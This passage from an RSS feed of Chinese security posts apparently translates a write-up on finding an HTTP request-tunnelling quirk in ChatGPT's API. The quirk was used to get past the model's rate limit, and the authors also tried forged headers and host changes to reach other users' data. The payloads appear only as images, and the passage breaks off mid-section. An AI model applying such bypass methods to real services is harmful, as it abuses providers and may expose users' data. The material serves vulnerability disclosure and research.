24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">转载翻译汇总文献图片来源：</span></p><p style="letter-spacing: 0.578px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[1]huntr - 世界上第一个用于 AI/ML 的漏洞赏金平台：<a href="https://huntr.com/" target="_blank">https://huntr.com/</a></span></p><p style="letter-spacing: 0.578px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[2]</span>Protect AI | Home：<a href="https://protectai.com/" target="_blank">https://protectai.com/</a></p><p style="letter-spacing: 0.578px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[3]赵月,何锦雯,朱申辰等.大语言模型安全现状与挑战[J].计算机科学,2024,51(01):68-71.</span></p><p style="letter-spacing: 0.578px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">[4]警惕Hugging Face开源组件风险被利用于大模型供应链攻击 - 腾讯安全应急响应中心 (tencent.com) </span></p><p style="letter-spacing: 0.578px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><p style="letter-spacing: 0.578px;text-wrap: wrap;margin-bottom: 24px;"><strong><span style="color: rgb(47, 48, 52);font-family: &#34;PingFang SC&#34;, Tahoma, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Heiti SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;letter-spacing: normal;text-align: start;white-space-collapse: preserve;background-color: rgb(255, 255, 255);"><strong style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;"><span style="outline: 0px;font-family: &#34;PingFang SC&#34;, Tahoma, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Heiti SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;letter-spacing: normal;">学习安全五年+，挖洞、传统攻防、安全科研，欢迎扫码了解，有学生优惠</span></strong></span></strong></p><p style="letter-spacing: 0.578px;text-wrap: wrap;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000577" data-ratio="0.5114285714285715" data-s="300,640" style="text-align: center;font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="png" data-w="700" src="https://wechat2rss.xlab.app/img-proxy/?k=f8d0e6e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLy1EWYAFAibpTONG0gcEyaWMOk3L4ut5Q6gL6jpGKBRfGtWo2doEoTkEXCHSxiatGRue51WWIics4bQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247485595">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d5a3999b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485595%26idx%3D1%26sn%3Db4c87d04e1659f11fad8f2f125985751%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Nov 2024 11:28:00 +0800</pubDate>
    </item>
    <item>
      <title>ChatGPT中的高级API攻击以及AI供应链漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485591&amp;idx=1&amp;sn=5769b72d3516063e4f68feab9cd46e15</link>
      <description>让我们跟随梅苑师傅的脚步，一起来研究一下ChatGPT 中的高级 API 攻击以及AI供应链漏洞！</description>
      <content:encoded><![CDATA[<p>
<span>梅苑</span> <span>2024-10-27 23:13</span> <span style="display: inline-block;">广东</span>
</p>

<p>让我们跟随梅苑师傅的脚步，一起来研究一下ChatGPT 中的高级 API 攻击以及AI供应链漏洞！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d1adb07f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbdlWadiceFn8lDaNBOD1zze5wiak1bHcs8qWzoZdUafzJXKAy5feTZdBgwjmKClngAbECn84sse6RicQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="box-sizing: border-box;text-align: justify;margin-bottom: 24px;"><section style="font-size: 16px;font-style: normal;font-weight: 400;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: auto;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;"><section style="text-align: center;margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;"><section style="margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">01</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;"><section style="margin: 5px 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">简要说明</strong></p></section></section><section style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;"><section style="background-color: rgb(23, 119, 255);height: 1px;box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">人工智能和人工智能的安全性正在以惊人的速度发展，AI模型</span><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">供应链中使用的工具，用于构建机器学习模型，会使 AI 应用程序容易受到独特的安全威胁。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">这些工具是开源的，这意味着它们开箱即用时可能存在漏洞，这些漏洞可直接导致完整的系统接管，例如未经身份验证的远程代码执行或本地文件包含。这意味着可能会面临模型、数据和凭据被盗的风险。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此专题主要目的为拓宽AI供应链安全相关知识。<br/></span></section><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br/></p></section><section style="font-size: 16px;font-style: normal;font-weight: 400;display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: auto;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;margin: 0px -18px 0px 0px;box-sizing: border-box;"><section style="text-align: center;margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);box-sizing: border-box;"><section style="margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">02</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);padding: 5px 0px 5px 25px;height: auto;margin: 0px 40px 0px 0px;box-sizing: border-box;"><section style="margin: 5px 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">ChatGPT中的高级API攻击<br/></p></section></section><section style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;" powered-by="xiumi.us"><section style="z-index: 2;box-sizing: border-box;" powered-by="xiumi.us"><section style="margin: 0px;text-align: right;transform: translate3d(15px, 0px, 0px);-webkit-transform: translate3d(15px, 0px, 0px);-moz-transform: translate3d(15px, 0px, 0px);-o-transform: translate3d(15px, 0px, 0px);box-sizing: border-box;"><section style="background-color: rgb(23, 119, 255);height: 1px;box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">服务器体系结构导致绕过速率限制</span></p></li><li><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">查找 API 异常的技术</span></p></li><li><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);">未来发现 Bug 的路径</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-weight: 400;color: rgb(249, 110, 87);white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><br/></span></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>03</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>发现应用程序中的异常<br/></p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p msttexthash="5127038072" msthash="40" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">像往常一样，我们首先在 Burp Suite 中绘制出所有 ChatGPT 请求，然后启动自动扫描以在 API 中寻找要探索的新兴趣领域。当对像 ChatGPT 这样的成熟 API 运行 BurpSuite 的自动扫描时，我们实际上并不期望它能找到漏洞。相反，我们用它来查找奇怪的响应和错误，这些响应和错误表明我们正在沿着应用程序中可能没有经过良好测试的代码路径行驶。</span></p><p msttexthash="2175055480" msthash="41" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">许多人在执行 API 测试时忽略的一个技巧是在 Logger 选项卡中观察自动请求，并将任何独特或意外的响应发送到 Repeater 选项卡。许多影响最大的漏洞无法通过 Burp Suite 的规则集捕获，需要手动测试。</span></p><p msttexthash="2175055480" msthash="41" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></p><p msttexthash="2175055480" msthash="41" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">这篇文章是关于一个这样的案例。</span></p><p msttexthash="1174897178" msthash="42" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在自动扫描期间观察记录器时，我们会查看两个主要细节：HTTP 状态代码和响应长度。在观看在 ChatGPT 的 API 上运行的高度定制的 Burp Suite 扫描时，出现了一个奇怪的请求：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000561" data-ratio="0.3638888888888889" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=19d970e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSW7cHFn0yevMsdRjG35lF65ITxkS14DVMWSD03yDrFm9tfA6WUM5kQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在 400 个状态代码和 864 个响应长度的海洋中，这个响应脱颖而出，因为它是一个 401 状态代码，并且是唯一一个长度不是 864 字节的请求。它在 Query 列中也有一个字符串，但这是一个任意的 Burp 添加的字符串，所以通常不是那么有趣。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000562" data-ratio="0.5361111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dbca716a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSmprwnsmia43uJNYxoFDUcRcQg0TtMlMOJibIVlotfzZZaZXabDGIkvSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">左侧的请求是对 TE 的测试。CL HTTP 请求走私。右侧的响应是对单个请求的两个响应。非常出乎意料的行为。奇怪的是，Burp Suite 并没有将此报告为漏洞，要求我们在观看 Logger 选项卡时保持敏锐的眼光。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>02</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>继续深入到信息</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">下一阶段是简化有效负载，以便我们可以更好地了解后端发生的情况。通过一次从请求中缓慢删除一条信息的艰苦过程，我们得出了以下简单的有效负载再现。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000563" data-ratio="0.7117008443908324" data-s="300,640" style="" data-type="png" data-w="829" src="https://wechat2rss.xlab.app/img-proxy/?k=a74117a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSFoEPicUI1lmM40Mib7Y0a8nKDJdyu34LLgWkqFnuOVZga90CGiaVdtAzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000564" data-ratio="2.2847222222222223" data-s="300,640" style="" data-type="png" data-w="576" src="https://wechat2rss.xlab.app/img-proxy/?k=daa05ff6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSbhv5mjxHLuErZTibRDnKdqs7ibQ3VSH0ibmMAeVY9UJbibicRn6lcnswicvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">现在我们可以开始推断发生了什么。这些请求中的每一个都使用准确的 Content-Length 标头，但未使用正常的双 \r\n 正确终止。前端CloudFlare服务器似乎仅根据Content-Length而不是进一步的分隔符解析出多个请求，然后将分解的请求分别发送到后端服务器。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">它不太符合HTTP请求走私的传统定义。当攻击者可以发送有效请求时，就会发生常规 HTTP 请求走私，该请求在前端服务器和后端服务器之间的解析方式不同，导致攻击者或应用程序用户接收他们不打算接收的数据。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000565" data-ratio="0.5804195804195804" data-s="300,640" style="" data-type="png" data-w="1001" src="https://wechat2rss.xlab.app/img-proxy/?k=2c4228ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSmQSBBZXicZEwSmNSgBIbE9K9ica2be7M2hTDKpXlyxWlQfjHsewkvANQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><p msttexthash="3016237822" msthash="51" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">最初，这似乎是基于原始异常请求的 HTTP 请求走私，但一旦我们深入研究它，它看起来更像是 HTTP 请求隧道。HTTP 请求隧道是发送打包在单个请求中的多个请求并让后端单独解析它们的能力。它本身并不是一个漏洞，但它是对正常代码路径的有用偏差，通常会导致漏洞利用。</span></p><p msttexthash="2489556264" msthash="52" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">我们尝试了许多不同的方法来利用这一点。使用多个不同的授权令牌，添加新的标头，例如“openai-organization：openai”，将主机标头更改为指向不同的域，在请求其他用户的数据时添加“please”和“thanksyou”。奇怪的架构的一个突出</span><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;">作<span style="background-color: rgb(255, 255, 255);">用是绕过速率限制。</span></span></p><p msttexthash="2489556264" msthash="52" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>03</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>速率限制绕过</p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><p msttexthash="2489556264" msthash="52" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">通常，我们使用 TurboIntruder 测试速率限制绕过，TurboIntruder 是 Burp Suite 的扩展，它使用自己的自定义网络堆栈以闪电般的速度向服务器发送请求。这未能绕过 text-davinci-edit-001 模型的 20 个请求/分钟限制。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000566" data-ratio="0.275" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e99ede62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSSp3MFsoYgB8P0duOVGbS8MqbQYS8yeFdpNeeD16dXY1ibaVsb1lDbTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">使用 TurboIntruder 时，我们立即命中了 20 个请求，然后收到了所有 429 Rate Limit Exceeded HTTP 响应，表明 API 速率限制按预期执行。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000567" data-ratio="0.7807308970099668" data-s="300,640" style="" data-type="png" data-w="903" src="https://wechat2rss.xlab.app/img-proxy/?k=6ac09a18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSPcLKmALzr7X7mRffHjCM7YINk685tkGqPQwK0IK11KzBw9g8Xeia1dA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">但是，使用堆叠了多个有效负载请求的自定义 Repeater 组，我们在 50 秒内获得了 31 个有效的模型响应。为了避免视觉混乱，下面我们显示了前四个请求和响应，在 20 秒内显示了 24 个有效响应。右下角显示收到的有效 200 OK 响应的数量。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000568" data-ratio="0.34814814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=20919df3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicKh7RGMGr4wnMVht8XZuovSRk08aUpnrl1uCchjKg3wnGXyDEwvkmFlNOK9xykgbOiaffDtppzNbiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;"><br/></p><p style="text-align: 